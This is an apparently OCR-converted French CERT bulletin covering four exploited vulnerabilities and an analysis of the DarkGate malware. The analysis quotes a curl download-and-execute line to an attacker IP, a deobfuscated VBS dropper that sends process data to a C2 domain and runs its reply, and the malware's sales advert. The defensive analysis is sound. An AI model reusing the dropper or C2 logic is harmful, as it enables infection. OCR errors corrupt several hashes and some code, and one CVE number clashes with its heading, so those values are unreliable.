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1. Synthese

1. Syntheése

Ce mois ci, le CERT aDvens vous propose quatre vulnérabilités présentant un intérét, en complément de celles déja publiées.

Au travers de deux articles, les analystes du CERT dressent le modus operandi du maliciel DarkGate, utilisé dans diverses
campagnes d'attaques depuis aolt 2023. Ainsi qu’une presentation du rangongiciel AvoslLocker, disponible sur certaines
plateformes cybercriminelles comme Ransomware As A Service (RaaS).
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2. Vulnerabilités

2. /ulnérabilités

Ce mois-ci, le CERT aDvens met en exergue quatre vulnérabilités affectant des technologies fréquemment utilisées au sein des
entreprises.

Elles sont présentées par ordre de gravité (preuves de concept disponibles, exploitation ...). L'application de leurs correctifs ou
contournements est fortement recommandée.

o Le CERT aDvens recommande de tester les mesures de contournement proposées dans un
environnement dédié avant leur déploiement en production afin de prévenir tout effet de bord.

2.1. JetBrains TeamCity - CVE-2023-42793 (Exploitée)

Exploitée
EPSS Contournementpde I’authentification POC

N o35 KW,

CRITIQUE

Le 20 septembre 2023, JetBrains a publie un bulletin d’alerte concernant la CVE-2023-42793 affectant les serveurs CI/CD on-
premises de TeamCity.

L'exploitation de cette faille permet a un attaquant, ayant un accés HTTPS au serveur TeamCity, d’exécuter du code arbitraire sur
le systeme et d’obtenir un accés administrateur.

Le 18 octobre 2023, Microsoft a publié un rapport indiquant que cette vulnérabilité est exploitée depuis début d’octobre par le
groupe Nord-Coreen Lazarus. Dans certains incidents, cette vulnérabilité a permis de déployer la porte dérobée ForestTiger ou
des executables Windows malveillants. Dans d’autres, elle a éte utilisée pour créer un nouveau compte utilisateur nomme krtbgt

(comme le compte légitime Windows de Kerberos Ticket Granting Ticket). Celui-ci est ajouté au groupe d’administrateurs et
télécharge un outil Proxy, détecte comme HazylLoad par Microsoft Defender.

é ‘ Cette vulnérabilite est exploitee.

2.1.1. Risques

- Exécution de code arbitraire

- Elévation de priviléges

. ya

2.1.2. Type de vulnérabilité

- CWE-288 : Authentication Bypass Using an Alternate Path or Channel

2.1.3. Criticité

2.1.4. Composants vulnérables

- Les serveurs TeamCity versions anterieures a 2023.05.4
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2.1. JetBrains TeamCity - CVE-2023-42793 (Exploitée)

2.1.5. Recommandations

- Mettre a jour les serveurs TeamCity vers la version 2023.05.4 ou appliquer le correctif de début octobre 2023.

- Des informations compléementaires sont disponibles dans le bulletin de I'editeur et le bulletin de Microsoft.

2.1.6. Preuve de concept

TLP TYPE VALEUR

CHEMIN C:\ProgramData\Forest64.exe

TLP:CLEAR) SHA256 | e06f29dccfe90ae80812c2357171b5¢c48fbal89ae103d28e372067b107e58795 | Forestb4.exe
ARTEFACT

SHA256 | Obe1908566efb9d23a98797884f2827de040e4cedbb42b60ed66e208715ed4aa | Forestb4.exe
ARTEFACT

CHEMIN C:\ProgramData\4800-84DC-063A6A41C5C

URL hxxp://www.bandarpowder.com/public/assets/img/cfg.png

URL hxxps://www.bandarpowder.com/public/assets/img/cfg.png

URL hxxp://www.aeon-petro.com/wcms/plugins/addition_contents/cfg.png

URL hxxp://www.bandarpowder.com/public/assets/img/user64.png

TLP:CLEAR URL hxxps://www.bandarpowder.com/public/assets/img/userb4.pngnk

[TLP:CLEAR URL hxxp://www.aeon-petro.com/wcms/plugins/addition_contents/user64.png

TLP:CLEAR CHEMIN C:\ProgramData\DSROLE.dII

SHA256 | d9add2bfdfebfa235575687de356f0cefb3e4c55964c4chb8bfdcdc58294eeaca | DSROLE.AII
ARTEFACT

TLP:CLEAR| CHEMIN C:\ProgramData\Version.dll

TLP:CLEAR SHA256 | f25114417ad0be0045034a1fc33fb896e8c32874e0b05869ff5783e14c062486 | Version.dll
ARTEFACT

CHEMIN C:\ProgramData\readme.md

SHA256 | fa7f6ac04ec18dd807¢1377599fad369096c6d8fbled24ac7abec0e817eaabt | Readme.md
ARTEFACT

CHEMIN C:\ProgramData\wsmprovhost.exe

CHEMIN C:\ProgramData\clip.exe

DOMAINE dersmarketim.com

DOMAINE olidhealth.com

TLP:CLEAR| DOMAINE galerielamy.com

TLP:CLEAR DOMAINE 3dkit.org

TLP:CLEAR) URL hxxp://www.mge.sn/themes/classic/modules/ps_rssfeed/feed.zip

URL hxxp://www.mge.sn/themes/classic/modules/ps_rssfeed/feedmd.zip

URL hxxps://vadtalmandir.org/admin/ckeditor/plugins/icontact/about.php

URL hxxps://commune-fraita.ma/wp-content/plugins/wp-contact/contact.php

CHEMIN C:\Windows\Temp\temp.exe

CHEMIN C:\Windows\ADFS\bg\inetmgr.exe

SHA256 000752074544950ae9020a35ccd77de277f1cd5026b4b9559279dc3b86965eee

TLP:CLEAR URL hxxp://147.78.149.201:9090/imgr.ico

TLP:CLEAR URL hxxp://162.19.71.175:7443/bottom.gif
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2.2. WordPress Royal Elementor - CVE-2023-5360 (Exploiteée)

2.2. WordPress Royal Elementor - CVE-2023-5360 (Exploitée)

Exploitée
EPSS Exécution de code arbitraire POC

Y -3 WU,

CRITIQUE

Lors d’'une investigation concernant la compromission de plusieurs sites WordPress, la vulnérabilité critique CVE-2023-42793 a
été découverte. Le constructeur, Royal Elementor, en a été informé et a publié une version corrigée (1.3.79) du plugin WordPress le
6 octobre.

Cette faille provient d'un defaut de verification du type de fichiers téléversés. En utilisant un fichier specifiquement forge, un
attaquant peut contourner les protections mises en place et executer du code arbitraire.

D'apres WPScan, les acteurs malveillants exploitent cette vulnérabilité pour déposer des fichiers PHP dans le dossier /wpr-
addons/forms/ et créer un compte administrateur WordPress nomme wordpress_administrator.

° ‘ Cette vulnérabilite est exploitee.

2.2.1. Risques

- Exécution de code arbitraire
- Elévation de priviléges

. ”

2.2.2. Type de vulnérabilité

- CWE-434 : Unrestricted Upload of File with Dangerous Type

2.2.3. Criticité

2.2.4. Composants vulnérables

- Le plugin WordPress Royal Elementor addons and Templates versions 1.3.78 et antérieures

2.2.5. Recommandations

+ Mettre a jour le plugin WordPress Royal Elementor addons and Templates vers la version 1.3.79 ou ultérieure.

Lors de la mise a jour du plugin, une version non corrigée a eté publiée avec une erreur dans le numero de

é version. Cette version porte le numero 1.4.78 et est vulnérable & la CVE-2023-5360. De plus, le correctif étant
la version 1.3.79, les sites disposant de la version 1.4.78 ne seront pas mis a jour automatiquement. Il sera donc
necessaire de supprimer puis reéinstaller le plugin pour déployer une version corrigee.

- Des informations complémentaires sont disponibles dans le bulletin de Wordfence et le bulletin de WPScan.
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2.2. WordPress Royal Elementor - CVE-2023-5360 (Exploitée)

2.2.6. Preuve de concept

Actuellement, aucune preuve de concept n'est disponible en sources ouvertes, mais une publication est prevue pour le 17
novembre 2023.

2.2.7. Indicateurs de compromission

TLP TYPE VALEUR

SHA1 20cdc2106ccdabf555c6e6a5b3e500e5
SHA1 b2bee44ch332cda9d3cchb98ff30aeb22f
TLP:CLEARIEEIEIN 3329941816e61f1e297ffcc769a88163
TLP:CLEARIEEISEIN a82d39daa52ea01f17blae8bd23ccbbb
TLP:CLEARJEEIEIN 6dd792961a3932293337af69d2471659
SHA1 6dd2d48404a766ae76465d05e8ffc21a
SHA1 6b7ad345faa9315672d378559052a65a
SHA1 414e2da0af038efb797c0f49f7de259d
SHA1 62a8359b1bdb095ea621ee62d8fc6akta
SHA1 a2baf686cc7fd97abf306ce934a59347
CHEMIN Iwpr-addons/forms/

[TLP:CLEAR USERNAME wordpress_administrator
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2.3. Roundcube - CVE-2023-5631 (Exploitée)

2.3. Roundcube - CVE-2023-5631 (Exploitée)

Exploitée

EPSS POC

\ 4
— En cours oul S

Découverte le 11 octobre 2023 par les équipes de sécurite d’Eset, la vulnérabilite CVE-2023-5631 est une 0-day affectant les
serveurs Webmail de Roundcube. Le constructeur a eté informe le 12 octobre et a publie un correctif le 14 octobre.

Cette faille provient d'un defaut de traitement de fichiers SVG dans le fichier rcube_washtml.php. Elle permet a un attaquant
d’injecter du code dans le page HTML qui sera execute dans la fenétre de navigation de Roundcube de la victime.

Eset annonce que cette vulnérabilite est exploitée par Winter Vivern contre des entités gouvernementales et des groupes de
réflexion (Think Tank) en Europe. La charge utile finale permet de lister les dossiers, les courriels d’'un compte Roundcube et de les
transmettre a un serveur C2.

é ‘ Cette vulnérabilite est exploitee.
2.3.1. Risque
- Injection de code indirecte (XSS)

2.3.2. Type de vulnérabilité

- CWE-79 : Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

2.3.3. Criticité

2.3.4. Composants vulnérables

Les serveurs Roundcube :

- versions antérieures a 1.4.15
- versions 1.5.x antérieures a1.5.5
- versions 1.6.x antérieures a1.6.4

2.3.5. Recommandations

+ Mettre a jour Roundcube vers la version 1.4.15, 1.5.5, 1.6.4 ou ultérieure.
- Des informations complémentaires sont disponibles dans le bulletin de Roundcube et le bulletin d’Eset.

2.3.6. Preuve de concept

Une preuve de concept est disponible en sources ouvertes.
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2.3.Roundcube - CVE-2023-5631 (Exploitée)

2.3.7. Indicateurs de compromission

TLP TYPE VALEUR

SHATI 97ED594EF2B5755F0549C6C5758377COB87CFAED | checkupdate js
ARTEFACT

SHA1 8BF7FCC70F6CE032217D9210EF30314DDD6B8135

DOMAINE [P |recsecas.com | 38.180.76.31

TLP:CLEAR EMAIL team.managment@outlook.com
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2.4.V\Mware - CVE-2023-34048

2.4. \/\Mware - CVE-2023-34048

Exécution de code arbitraire

Y -3 WU,

CRITIQUE

Le 25 octobre 2023, VMware a publié un bulletin concernant deux vulnérabilités dans vCenter. La plus critique, avec un score CVSS
de 9.8, permet & un attaquant d’executer du code arbitraire sur le systéeme.

La faille se situe dans I'implémentation du protocole DCERPC. En envoyant des requétes specifiquement forgees, un attaquant
peut provoquer un "out of bounds write" menant a une execution de code arbitraire.

2.4.. Risque
- Exécution de code arbitraire

2.4.2. Type de vulnérabilité
- CWE-787 : Out-of-bounds Write

2.4.3. Criticité

2.4.4. Composants vulnérables

- VMware vCenter Server 6,7 et 8
- VMware Cloud Foundation (VMware vCenter Server) versions 3.x, 4.x et 5.x

2.4.5. Recommandations

-+ Mettre a jour VMware vCenter vers la version 6.5U3, 6.7U3, 7.0U30, 8.0U1d, 8.0U2 ou ultérieure.

- Mettre a jour VMware Cloud Foundation (VMware vCenter Server) 3.x en suivant la procédure VCF 3.x ou appliquer le KB88287
aVMware Cloud Foundation (VMware vCenter Server) versions 4.x et 5.x.

- Desinformations complémentaires sont disponibles dans le bulletin de VMware.

2.4.6. Preuve de concept

Actuellement, aucune preuve de concept n’est disponible en sources ouvertes.
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3. DarkGate

3. DarkGate

3.1. Un logiciel malveillant multifonctionnel

DarkGate Loader (alias DarkGate) est un logiciel malveillant mutli-fonction qui permet de réaliser du vol de données (infostealer),
de prendre le contréle a distance, de transformer un systéme en machine esclave (bot) pour miner de la cryptomonnaie, et de
chiffrer les données de la victime (Ransomware).

Développé depuis 2017 par un cybercriminel portant le pseudonyme RastaFarEye, la commercialisation de DarkGate semble
débuter le 16 juin 2023 sur le forum russophone XSS. Plusieurs mises a jour sont annoncees par I'auteur au cours du mois de juillet,
comprenant des améliorations pour contourner les dispositifs de sécurité (antivirus).

Une recrudescence de I'emploi du maliciel depuis le mois d’aolt a été constatee, avec des campagnes recentes ciblant des
entreprises frangaises.

3.2. Vecteur d’infection

Depuis juillet, la plateforme de messagerie Skype et I'application Teams ont eté utilisées par les attaquants pour distribuer
DarkGate, enincitant les utilisateurs a ouvrir un fichier malveillant.

3.3. Fonctionnalités

INFOSTEALER
Il peut voler des informations sur le
systéme infecté, par exemple il est

RANSOMWARE capable de capturer les frappes de clavier.

Il peut chiffrer les données du
systeme infecté et déployer une
note de rangon.

EVASION

DarkGate est doté de plusieurs techniques
d’obfuscation du code pour contrer
I'analyse antivirale.

PROXY INVERSE

Les attaquants utilisent un proxy inverse
entre leurs serveurs et le logiciel

HVNC malveillant. Ce proxy inverse permet de
masquer les adresses et caractéristiques
des serveurs maitrisés par les attaquants.

HVNC : Hidden Virtual Network Computing.
Utilisation malveillante d’un protocole
permettant de prendre le contréle a distance
d’un systéme.

Figure 1. Les principales fonctionnalités de Darkgate.

3.4. Victimologie

- Les pays concernés sont 'Amérique, I'Asie, le Moyen-Orient, I'’Afrique et I'Europe.
- Lessecteurs ciblés sont la santé et la logistique.

3.5. MaaS

DarkGate est commercialisé via I'économie souterraine selon le modéle Malware-as-a-Service (MaaS). Cela signifie que
linfrastructure malveillante et ses capacités opérationnelles peuvent étre louées.

Depuis mai 2023, DarkGate est commercialisé sur le forum russophone tel que ECrime et XSS. La location annuelle coute 100 000

G—Dvens CERT aDvens - CT! | [NRONAR | 2023-10-31 1
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3.5.MaaS
dollars.
Jun 16, 2023
This is a project that i have been working on since early 2017
1 just now decided to rent it out, this project is a project that | have worked on for thousands of hours (more then 20,000)
This is the ultimate tool for pentesters/redteamers
RastakarEve Currently there are 4/10 slots available,
HDD-drive
,J‘;ln;'::g o5 AlgE, 202 At the moment | don't intend to rent it to more than 10 people in order to keep this project private,
Reaction score: 42 | also do not intend to rent it to people who do not understand its meaning and do not know how to use it because it is a destructive tool
That s not currently detected by any antivirus that knows how to do everything from privilege escalation and many more exploits and features that you won't find anywhere..
All our features are completely undetected because they run directly in memory without touching disk
*We have added the option of buying a package for one day so that you can check the quality of the product and get an impression
*Don't waste my time asking for discounts because the price I'm currently selling is very very cheap and the price is expected to rise in the coming months
*Read the thread carefully until the end
CURRENT PRICES
Payments only in crypto (BTC, ETH, MONERO, ETC..)
1 DAY PACKAGE -> 1000% (YOU CAN BUY THIS PACKAGE ONLY 1 TIME WITH EACH EXPLOIT.IN ACCOUNT)
MONTHLY - 15,000%
1 YEAR UPDATED -> 100,000%
MAIN FEATURES ->
DOWNLOAD & EXECUTE ANY FILE DIRECTLY TO MEMORY (native,.net x86 and x64 files)
HVNC
HANYDESK
REMOTE DESKTOP
FILE MANAGER
REVERSE PROXY
ADWVANCED BROWSERS PASSWORD RECOVERY ( SUPPORTING ALL BROWSER AND ALL PROFILES )
KEYLOGGER WITH ADVANCED PANEL
PRIVILEGE ESCALATION (NORMAL TO ADMIN / ADMIN TO SYSTEM)
WINDOWS DEFENDER EXCLUSION (IT WILL ADD C/ FOLDER TO EXCLUSIONS )
DISCORD TOKEN STEALER
ADVANCED COOKIES STEALER + SPECIAL BROWSER EXTENSION THAT | BUILD FOR LOADING COOKIES DIRECTLY INTO A BROWSER PROFILE
BROWSER HISTORY STEALER
ADVANCED MANUAL INJECTION PANEL
CHANGE DOMAINS AT ANY TIME FROM ALL BOTS (Global extension)
CHANGE MINER DOMAIN AT ANY TIME FROM ALL BOTS (Global extension)
REALTIME NOTIFICATION WATCHDOG (Global extension)
ADVANCED CRYPTO MINER SUPPORTING CPU AND MULTIPLE GPU COINS (Global extension)
ROOTKIT WITHOUT NEED OF ADMINISTRATOR RIGHTS OR .SYS FILES (COMPLETLY HIDE FROM TASKMANAGER)
INVISIBLE STARTUPR, IMPOSIBLE TO SEE THE STARTUP ENTRY EVEN WITH ADVANCED TOOLS
HIGH QUALITY FILE MANAGER, WITH FAST FILE SEARCH AND IMAGE PREVIEW
Some features like
*Capability to handle a very large amount of bots easily*
Extremely stable, can run for months non-stop, even if an error ocurrs it will continue running and a detailed bugreport will be generated
A well-spreaded build from 2018 yet fud by almost all avs (au3 script file)
And now my methods even improved so we usually not having a detection problems,
Mever lose bots again, the AU3 method can run FUD Runtime for months and is 99.9% different each build.
DARKGATE GLOBAL MANAGER
Global manager is an extension of DarkGate specially designed if you manage a large amount of bots
With that you can
Change your domains/dns/ips at any time of all bots
Caption watchdog so you can know if some bot does something that you're intested on
Manage also your domains/dns/ips at any time of all bots of the Miner, you can use the same ones but you have the option to keep them separated
With that you can use different ports of the Loader for different operations, while having the control of all bots at any time also you can open an unlimited number of darkgate loader instances
This approach guarantees supporting an unlimited amount of bots and at least 60k online bots in each Loader port with a cheap server
It will host the LNK/VBS/MSI/AU3 decoy and payloads
Figure 2. Annonce commerciale de Darkgate.
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3.6. Chaine D’attaque / Kill Chain

Ci-dessous, une chaine d’attaque utilisée par les attaquants pour distribuer DarkGate via la plateforme Teams.

Développement des ressources

[

Les attaquants dissimulent des chevaux de
Troie dans une archive compressée :
Significant company changes
September.zip

Acces initial

L’archive malveillante est
distribuée via Teams.

{

Décompressée, I'archive contient cinq
artéfacts : des chevaux de Troie ayant
respectivement une commande CURL pour
récupérer cinq scripts VBS depuis un
serveur de dép6t.

Commande et controle

Les cinqg scripts VBS récupérés sont
exécutés : ils téléchargent depuis un
serveur C2 le logiciel |égitime Autolt3.exe
et un script malveillant .au3 (DarkGate).

Elévation de privileges, découverte, acces identifiants, collection, impact

[

Autolt3.exe est utilisé pour exécuter
le script malveillant .au3 (DarkGate).
Ce logiciel malveillant peut voler des
information (infostealer), prendre le
contréle du systeme et chiffrer les
données (ransomware).

Figure 3. Kill Chain Darkgate via Teams.
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3.7. Analyse du code

3.7.1. L’archive ZIP

Les attaquants distribuent via Teams une archive ZIP ayant pour intitulée : Significant company changes September.zip. L’archive
contient cing artéfacts, il s'agit de fichiers raccourcis (*.Ink) dont I'extension est manipulée par les attaquants pour apparaitre en
tant que documents PDF.

» Revamped_Organizational_Structure.pdf.pdf.Ink
« Fresh_Mission_and_Core_Values.pdf.pdf.Ink

« Position_Guidelines.pdf.pdf.Ink

« Company_Transformations.pdf.pdf.Ink

- Employees_Affected_by_Transition.pdf.pdf.Ink

Ces cing artéfacts sont des chevaux de Troie : ils contiennent du code malveillant pour récupérer depuis un serveur de déepot des
scripts VBS.

Significant company changes
September.zip

Company_ Employees_Affected_by_ Fresh_Mission_and_ Position_ Revamped_Organizationa
Transformations.pdf.pdf.Ink Transition.pdf.pdf.Ink Core_Values.pdf.pdf.Ink Guidelines.pdf.pdf.Ink |_Structure.pdf.pdf.Ink

Figure 4. L’archive ZIP contient cinqg chevaux de Troie de type dropper.

3.7.2. Analyse du Cheval de Troie : Company_Transformations.pdf.pdf.Ink

Les cing chevaux de Troie issue de I'archive Significant company changes September.zip ont tous la méme instruction : récupérer
cing scripts VBS malveillants depuis un serveur de depot maitrise par les attaquants.

Ci-dessous, le contenu strings du cheval de Troie Company_Transformations.pdf.pdf.Ink :

o c00000000000006000 F #.Goovn Tooccoooo #.Goonn docooooooooooo000000000 5 P.O
io.... +00 Ao Vol.o.o.o... V.c..Windows.Q@. ...... OwH; W.5
......................... W.i.n.d.o.w.s.....Z.1l.....9W:J..System32..B.
...... OWH;W.7.... i neeneea...DivoSiy.es.tie.m.3.2.....V.2..1..FSsn .cmd.exe.@.
..... FSsn;W.8. ..t teeeeeeneneeeaaeoedMeCMed. . .€.Xe€uiveeeeeTeeeuoeeoeenoeeea—
....... I.eieeeeeeeneeeeens..C:\Windows\System32\cmd.exe....S.y.s.t.e.m P.D.F R.e.a.d.e.r
v.1l 1656002020l 0=
..... NN Nec el sLsANLL o \uWion.d.o.w.s.\.S.y.s.t.e.m.3.2.\.c.m.d e.x.e /.c 0.8
.|.|. .E.c.h.0. .0.8. .&. .P.I.n.G. .0.8 [.]. .c.".u.R.".1.
hot.".t."po./0"0/0"01.8.5...".3.".9...1.8 1.7.".0./.5.B./.C." -.0. .%.T.M.P.%.\.0.8...v.b.s &
.P.I.n.G. .-.n. .4. .0.8. .|.|. .c.s.c.R.i.p.t %.T.m.p.%.\.0.8 v.b.s. .&. .E.X.I.".T."
.'.x.k.N.T.x.e.=.j.0.F.E.J.i.E.E..... \.F.a.c.t.u.r.a.—
ELALAL#.3.0...p.dafaaal. SWINAirS\SyStem3 2\ Cmd. EXe .. v vt i ittt ittt ettt et e et et et et e
......................................................................... $.w.i.n.d.i.r.%$.\.s.y.s.t.e.m.3.2.\
BoMo@lo 0 6@0%80E0 0060000006000 000000C00000D0C00000000000000000000000000000000000000000000000000000000000000000O0
............................................................. B e et WN IN.D (Ol coobo00 0000000k
..... desktop-T39a0.8 Lg.F.T..(.ceveeeenea.0.."/.v8 [ 0 i A (P« S AP
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3.7. Analyse du code

Une instruction est identifiée :

Curl hxxp://185.39.18.170/5B/C#

avec le parametre -o (output)

-0 $TMP%\08.vbs

Cette instruction permet le téléchargement depuis I'adresse hxxp://185.39.18.170/5B/C d’'un script VBS et son enregistrement
dans le dossier %TMP% avec pour intitulé O8.vbs.

Les intitules des scripts VBS semblent &tre génerés de maniere aléatoire.

Téléchargement de cinqg scripts VBS malveillants depuis un
serveur maitrisé par les attaquants.

-
L—._.—ng
—a

E</> E</> E</> E</> E</>

08.vbs 2b.vbs KgPN.vbs UF8V.vbs x8.vbs

Figure 5. Les cing chevaux de Troie ont pour fonction le téléchargement depuis un serveur depot de cing scripts VBS malveillant.

3.7.3. Analyse du script 08.vbs

Ci-dessous, le contenu du script 08.vbs. Des éléments utilisés pour 'obfusquation de code ont eté retirés.

vulvLLHTGX = "cmd"
JWLOcFwdrI = ""
Set mnvGODSgUMFyAw = GetObject ("winmgmts:\\.\root\cimv2")
dim PYsdcJxWUlBaT
if vulvLLHTGX = "Unladyfied" then
MsgBox "unlovelierJavanine" ''
end if
FtgrJOCXGKTWi = "ht"'
mxXQGrwGhaB "tp"!
aaBjCavdtCO = "://"!'
YPhkQEKKRhgct = "j"'
vgzLBSyEzooEiSs = "oa"'
VSGYSrJJjguka = "gf"'
WzuXiyfFREY = "h"'
nfygAPVZJiFIij = "re"'
BDRiuBxcQTT = "et"'
zENVpayPdRR1 = "d"'
ALiPnvLniwaj = "sa."'
QCdxLvovGbBg = "c"'
RGrRkZ1RMXwc = "o"'
YPJffaPjR = "m:2"'
JGyCruXQrUVKb = "35""'
LwdTwxWaOphT = "1"'
eAHSTpXtOTx = "/"!'
VEFtSLKRhrOT = "w"'
ORGjSyXNJhk = "x"'
QAWrFWPpuiydrT = "ft"'
QWLWPXMTWRR = "xbt"'
Set OzHoICXwLZl = mnvGODSgUMFyAw.ExecQuery ("Select * from Win32_Process")
For Each BswcWSWNSarZ in OzHoICXwLZl
PYsdcJxWU1lBaT = PYsdcJxWUlBaT & BswcWSWNSarZ.Name
Next
OIikvgewtymysQj = "Shell.Application"
nyuRwITryQVW="WINHTTP.WinHTTPRequest.5.1"
JWLOcFwdrI = FtqrJOCXGKTWi & mxXQGrwGhaB & aaBjCavdtCO & YPhkQEKKRhgct & vgzLBSyEzooEiSs & VSGYSrJJjguka &
WzuXiyfFRFY & nfygAPVZJiFIij & BDRiuBxcQTT &
ENVpayPdRR1 & ALiPnvLniwaj & QCdxLvovGbBg & RGrRkZI1RMXwc & YPJffaPjR & JGyCruXQrUVKb & LwdTwxWaOphT &
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eAHSTPpXtOTx & VFtSLKRhrOT & oRGjSyXNJhk &
QAWrFWPpuiydrT & QwLWPXMTWRR

With CreateObject (nyuRwTryQVW)

.Open "post", JWLOcFwdrI, False
.setRequestHeader "a", PYsdcJxWUlBaT

.send

zZRVVPCbFQaVH = .responseText

CreateObject (OIikvgewtymysQj) . ShellExecute vulvLLHIGX, zRvVpCbFQaVH ,"","",0
End With

wscript.quit
MsgBox "gnawingly"

Ci-dessous, le contenue du scripts 08.vbs, les variables ont été remplaceées par leurs valeurs.

dim PYsdcJxWUlBaT

if "cmd" = "Unladyfied" then
MsgBox "unlovelierJavanine"
end if

For Each BswcWSWNSarZ in GetObject ("winmgmts:\\.\root\cimv2") .ExecQuery ("Select * from Win32_Process")
PYsdcJxWUlBaT = PYsdcJxWUlBaT & BswcWSWNSarZ.Name

Next

With CreateObject (WINHTTP.WinHTTPRequest.5.1)

.Open "post", "http://joagfhreetdsa.com:2351/wxftxbt", False
.setRequestHeader "a", PYsdcJxWUlBaT

.send

CreateObject (Shell.Application) .ShellExecute cmd, .responseText ,
End With

wscript.quit

MsgBox "gnawingly"

wnomn g

Des instructions importantes sont identifiees :

With CreateObject (WINHTTP.WinHTTPRequest.5.1) #

Open "post", http://joagfhreetdsa.com:2351/wxftxbt", False

Le domaine hxxp://joagfhreetdsa.com est connue en sources ouvertes pour étre utilisé par les oéprateurs de Darkgate en tant
que serveur C2. En somme, le script 08.vbs permet la récupération de nouvelles instructions depuis le serveur C2.

E</> E</> E</> E</> E</>

08.vbs 2b.vbs KgPN.vbs UF8V.vbs x8.vbs
Les scripts VBS communiquent avec un serveur C2 maitrisé par
les attaquants. Le serveur envoie de nouvelles instructions
I
!H——?T?:::gig

Figure 6. Les cing scripts VBS communiquent avec le serveur C2 maitrisé par les attaquants.

3.7.4. Nouvelles instructions du serveur C2

Le serveur C2 (hxxp://joagfhreetdsa.com) envoi de nouvelles instructions au script 08.vbs :

- Realiser une copie de I'exécutable curl.exe, présent dans le dossier system32 de I'utilisateur, et placer cette derniére dans
C:\avec unintitulé aléatoire.

- Télécharger depuis le serveur C2 le logiciel légitime Autolt3.exe et la souche virale DarkGate (un script ayant I'extension
.au3).
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Les scripts VBS communiquent avec un serveur C2 maitrisé par
les attaquants. Le serveur envoie de nouvelles instructions.

Les nouvelles instructions données par le serveur C2 permettent de télécharger sur le systéeme
infecté le logiciel légitime Autolt3.exe et un script malveillant .au3 (souche virale DarkGate).

Autolt3.exe .au3
(DarkGate)

Figure 7. Le serveur C2 envoi les instructions pour le téléchargement d'Autolt3.exe et d'un script .au3 (souche virale Darkgate).

3.7.5. Souche virale DarkGate

Les instructions du serveur C2 permettent de déployer sur le systeme infecté le script .au3 (souche virale DarkGate). Le logiciel
Autolt3.exe est utilise pour exécuter le script .au3.

Dans un premier temps, le logiciel vérifie les deux éléments suivants

+ le dossier %Program Files% doit étre present
- le nomd'utilisateur ne doit pas étre " SYSTEM "

Si ces conditions ne sont pas remplies, alors le processus d’'infection s’interrompt. Aprés la vérification de ces conditions, le
logiciel execute le script malveillant .au3.

Le script .au3 génére un implant dans des processus iexplore.exe, GoogleUpdateBroker.exe et Dell.D3.WinSvc.UlLauncher.exe
ayant leur binaire localisés dans C:1Program Files (x86)1.

L'injection d’'un code binaire exécutable sous la forme de chaine de caracteres ("Shellcode") dans ces trois processus de
substitution permet le chargement en memoire du logiciel malveillant DarkGate.

DarkGate etabli sa persistance en créant un raccourci dans le dossier startup du systéme :

C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ < intitulé aléatoire >.lnk>

Les journaux d’activités de DarkGate sont crées a 'emplacement suivant :

%$ProgramData%\< 7 caractéres aléatoires >\< 7 caracteres aléatoires >\< date >.log

Le fichier de configuration de DarkGate est créé a'emplacement suivant :

$ProgramData%$\< 7 caractéres aléatoires >\< 7 caracteres aléatoires >\< 7 caractéres aléatoires >
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3.7.6. Infographie synthétique

=

Significant company changes
September.zip

Company_ Employees_Affected_by_ Fresh_Mission_and_ Position_ Revamped_Organizationa

Transformations.pdf.pdf.Ink Transition.pdf.pdf.Ink Core_Values.pdf.pdf.Ink Guidelines.pdf.pdf.Ink I_Structure.pdf.pdf.Ink
Téléchargement de cinq scripts VBS malveillants depuis un
serveur de dépot maitrisé par les attaquants.

v ! .

08.vbs 2b.vbs KgPN.vbs UF8V.vbs x8.vbs

Les scripts VBS communiquent avec un serveur C2 maitrisé par
les attaquants. Le serveur envoie de nouvelles instructions.

Les nouvelles instructions données par le serveur C2 permettent de télécharger sur le systéme
infecté le logiciel légitime Autolt3.exe et un script malveillant .au3 (souche virale DarkGate).

v

Autolt3.exe .au3
(DarkGate)

Figure 8. Infographie synthéetique.
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3.8. Attaques post-infection

Apres l'infection du systeme par , les attaquants peuvent deployer des logiciels additionnels. Ces logiciels peuvent étre
malveillants ou légitimes, mais utilises de maniere illicite. Certaines analyses revelent le déeploiement du logiciel legitime
developpe par la societe BreakingSecurity.

est un logiciel d’administration a distance, il est trés prisé par les cybercriminels en raison de son efficacite. Ci-dessous,
le logiciel legitime sur le site vitrine de la sociéte :

BreakingSecurity.net A Home T Shop I Software v 38 Community v P> Videos Vv Contact & ClientArea W

REMOTE CONTROL & SURVEILLANCE SOFTWARE

Control remotely your computers,
anywhere in the world.

Remcos is a lightweight, fast and highly customizable Remote Administration Tool
with a wide array of functionalities.

Figure 9. REMCOS RAT.

3.9. BOTNET pour le minage de cryptomonnaie

Une observation minutieuse de 'annonce de sur le forum permet de relever le chapitre suivant :

DARKGATE GLOBAL MANAGER
Global manager is an extension of DarkGate specially designed if you manage a large amount of bots

With that you can:

Change your domains/dns/ips at any time of all bots

Caption watchdog so you can know if some bot does something that you're intested on

Manage also your domains/dns/ips at any time of all bots of the Miner, you can use the same ones but you
have the option to keep them separated

With that you can use different ports of the Loader for different operations, while having the control of
all bots at any time also you can open an unlimited number of darkgate loader instances

This approach guarantees supporting an unlimited amount of bots and at least 60k online bots in each Loader
port with a cheap server

It will host the LNK/VBS/MSI/AU3 decoy and payloads

I semble que l'auteur de est aussi développé une extension capable de simplifier la gestion des machines esclaves (
bot). serait capable de transformer le systéme infecté en machine esclave et d’intégrer ce dernier dans un réseau
Botnet. La phrase "Manage also your domains/dns/ips at any time of all bots of the Miner" indique que le bot est intégre dans une
activité malveillante de type minage de cryptomonnaie.
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3.10. Indicateurs de Compromission

TLP TYPE VALEUR

MD5 | ARTEFACT b4fds4e63cbdcfdbbe3b9b797a28d550 | uaarsy.au3

SHA1 | ARTEFACT 4ed69ed42825641b5425a9fcak374a17aech160 | uaarsy.au3

SHA256 | ARTEFACT af85acelfd89e4c76efdda065cc2fcktde9d87bfd75f9f6850610327526c97d4b | uaarsy.au3
SHAT1 I ARTEFACT 549cb39ceak4cf8ca’d781cd4588e9258bdff2al | bedgkdb.au3

SHA1I ARTEFACT e108fe723265d885a51e9b6125d151b32e23a949 | edabeeg.au3

SHA1 I ARTEFACT a85664a8b304904e7cd1c407d012d3575eeb2354 | jpeg.Ink

TLP:CLEAR SHA1 I ARTEFACT 924b60bd15df000296fc2bIf179dfI635ae5bfed | jpeg.Ink

TLP:CLEAR SHA1 I ARTEFACT cec7429d24c306babae8344be831770dfe680dat | jpeg.Ink

